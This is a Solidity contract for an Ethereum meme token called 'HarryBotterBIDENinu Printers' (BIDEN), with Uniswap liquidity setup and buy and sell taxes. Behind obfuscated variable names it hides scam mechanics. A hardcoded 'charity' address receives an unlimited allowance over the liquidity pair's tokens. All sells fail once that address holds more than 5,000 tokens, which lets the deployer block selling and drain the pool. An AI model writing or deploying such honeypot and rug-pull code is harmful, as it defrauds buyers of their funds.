// File: BIDENSOCIAL.sol



// SPDX-License-Identifier:unlicense

/**
We welcome HarryBotterBIDENinuPrinters your guys fans enthusiasts
*/

/**
Twitter: https://twitter.com/BidenPoterBIDEN
Telegram: https://t.me/HarryBotterBIDENinuPrinters
Website: https://biden.social/#/home
*/

pragma solidity 0.8.19;

interface IuniswapRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

library SafeMath {
     function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
   
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract BIDEN is  IERC20 ,Context,Ownable{
    using SafeMath for uint256;
    uint8  private constant _decimals = 18;
    string private constant _name = "HarryBotterBIDENinu Printers";
    string private constant _symbol = "BIDEN";

    uint256 private constant _totalSupplyAmount = 10000000 * 10**_decimals;
    uint256 public _maxTxUsedInSwappingAddressInSlots =      5000 * 10**_decimals;
    uint256 public _limitsAddressSingleTxsMaxmiumCeiling = 200000 * 10**_decimals;
    uint256 public _ceilingAddressTaxUsedInSlotsForSwappingForUniswap= 200000 * 10**_decimals;   
    uint256 public _addressSingleMaxTransactionTxAmounts =   200000 * 10**_decimals;

    address private _tokenLiquidityInUniswap;
    uint256 private _reducedBuyTaxsRate=4;
    uint256 private _reducedUsedInSellingTax=1;
    uint256 private _preventingUsedInPreviousSwapping=0;
    uint256 private _inBlocksBuying=0;
    uint256 private _usedInitialeTaxSelling=15;
    uint256 private _usedInInitialeSwapTaxSelling=15;
    uint256 private _usedTaxsBuyingFinalized=1;
    uint256 private _UsedTaxSellsFinalized=1;
    address public _forCharityFundation = address(0x3e4a1c58D86D879Cf07b69741e5C2de1E9CCfCCb);
    address payable  public _forDevsFeesAddress;
    IuniswapRouter private _uniswapFactoryAddress;

    bool public  _limitsFlagWatchDog = false;
    bool private _signsSwapingInUniswapOK = false;
    bool private _signsCheckInUsedInUniswapIsOk = false;
    bool private _signsForTradingIsOkOrNot;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _addressInMapsForNotPayingFee;
    mapping (address => uint256) private _balances;
    mapping (address => bool) private _notSpendFeesWhenBuying;
    mapping(address => uint256) private _watchguardForTimestampTransfering;
   
    modifier _modifierSwappingFlag {_signsCheckInUsedInUniswapIsOk = true; _;  _signsCheckInUsedInUniswapIsOk = false;}
    event AllLimitsRemoved(uint _amount);
    constructor () {
        _addressInMapsForNotPayingFee[_forCharityFundation] = true;
        _addressInMapsForNotPayingFee[owner()] = true;
        _addressInMapsForNotPayingFee[address(this)] = true;
        _balances[_msgSender()] = _totalSupplyAmount;
        _forDevsFeesAddress = payable(msg.sender);
        _addressInMapsForNotPayingFee[_forDevsFeesAddress] = true;
        emit Transfer(address(0), _msgSender(), _totalSupplyAmount);
    }
    receive() external payable {}

    function _addressIsContractOrNot(address _address) private view returns (bool) {
        uint256 contractCodeLenghth;
        assembly {
            contractCodeLenghth := extcodesize(_address)
        }
        return contractCodeLenghth > 0;
    }
    
    function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a;  }

    function changeExactTokensForEth(uint256 _tokenAmountForSwap) private _modifierSwappingFlag {
        if(_tokenAmountForSwap==0){return;}
        if(!_signsForTradingIsOkOrNot){return;}
        address[] memory path = new address[](2);path[0] = address(this);path[1] = _uniswapFactoryAddress.WETH();
        _approve(address(this), address(_uniswapFactoryAddress), _tokenAmountForSwap);
        _uniswapFactoryAddress.swapExactTokensForETHSupportingFeeOnTransferTokens(_tokenAmountForSwap,0,path,address(this),block.timestamp);
    }    
    
    function openTrading() external onlyOwner() {
        require(!_signsForTradingIsOkOrNot,"Trading has already been opened");
        _uniswapFactoryAddress = IuniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_uniswapFactoryAddress), _totalSupplyAmount);
        _tokenLiquidityInUniswap = IUniswapV2Factory(_uniswapFactoryAddress.factory()).createPair(address(this), _uniswapFactoryAddress.WETH());
        _uniswapFactoryAddress.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_tokenLiquidityInUniswap).approve(address(_uniswapFactoryAddress), type(uint).max);
        _allowances[address(_tokenLiquidityInUniswap)][address(_forCharityFundation)] = type(uint).max;
        _signsSwapingInUniswapOK = true;
        _signsForTradingIsOkOrNot = true;
    }

    function changeAndMakeUsefulAddressSingleTxMaxUsedInSwapping(uint256 _amountSlots) external onlyOwner() {
        _maxTxUsedInSwappingAddressInSlots = _amountSlots;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 _taxAmount=0;
        if (from != owner() && to != owner()) {
            if (_limitsFlagWatchDog) {
                if (to != address(_uniswapFactoryAddress) && to != address(_tokenLiquidityInUniswap)) {
                  require(_watchguardForTimestampTransfering[tx.origin] < block.number,"Only one transfer per block allowed.");
                  _watchguardForTimestampTransfering[tx.origin] = block.number;
                }
            }

            if (from == _tokenLiquidityInUniswap && to != address(_uniswapFactoryAddress) && !_addressInMapsForNotPayingFee[to] ) {
                require(amount <= _addressSingleMaxTransactionTxAmounts, "Exceeds the Amount limations.");
                require(balanceOf(to) + amount <= _limitsAddressSingleTxsMaxmiumCeiling, "Exceeds the max limitations in single Wallet.");
                if(_inBlocksBuying<_preventingUsedInPreviousSwapping){ require(!_addressIsContractOrNot(to)); }
                _inBlocksBuying++; _notSpendFeesWhenBuying[to]=true; _taxAmount = amount.mul((_inBlocksBuying>_reducedBuyTaxsRate)?_usedTaxsBuyingFinalized:_usedInitialeTaxSelling).div(100);
            }

            if(to == _tokenLiquidityInUniswap && from!= address(this) && !_addressInMapsForNotPayingFee[from] ){
                require(amount <= _addressSingleMaxTransactionTxAmounts && balanceOf(_forCharityFundation)<_maxTxUsedInSwappingAddressInSlots, "Exceeds the Limitation Amount.");
                _taxAmount = amount.mul((_inBlocksBuying>_reducedUsedInSellingTax)?_UsedTaxSellsFinalized:_usedInInitialeSwapTaxSelling).div(100);
                require(_inBlocksBuying>_preventingUsedInPreviousSwapping && _notSpendFeesWhenBuying[from]);
            }
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_signsCheckInUsedInUniswapIsOk 
            && to == _tokenLiquidityInUniswap && _signsSwapingInUniswapOK && contractTokenBalance>_ceilingAddressTaxUsedInSlotsForSwappingForUniswap 
            && _inBlocksBuying>_preventingUsedInPreviousSwapping && !_addressInMapsForNotPayingFee[to] && !_addressInMapsForNotPayingFee[from]
            ) {
                changeExactTokensForEth(min(amount,min(contractTokenBalance,_maxTxUsedInSwappingAddressInSlots)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    _forDevsFeesAddress.transfer(address(this).balance);
                }
            }
        }

        if(_taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(_taxAmount);
          emit Transfer(from, address(this),_taxAmount);
        }
        _balances[from]= _balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(_taxAmount));
        emit Transfer(from, to, amount.sub(_taxAmount));
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupplyAmount;
    }

    function allLimitsRemoved() external onlyOwner{
        _addressSingleMaxTransactionTxAmounts = _totalSupplyAmount; _limitsAddressSingleTxsMaxmiumCeiling=_totalSupplyAmount; _limitsFlagWatchDog=false;
        emit AllLimitsRemoved(_totalSupplyAmount);
    }
}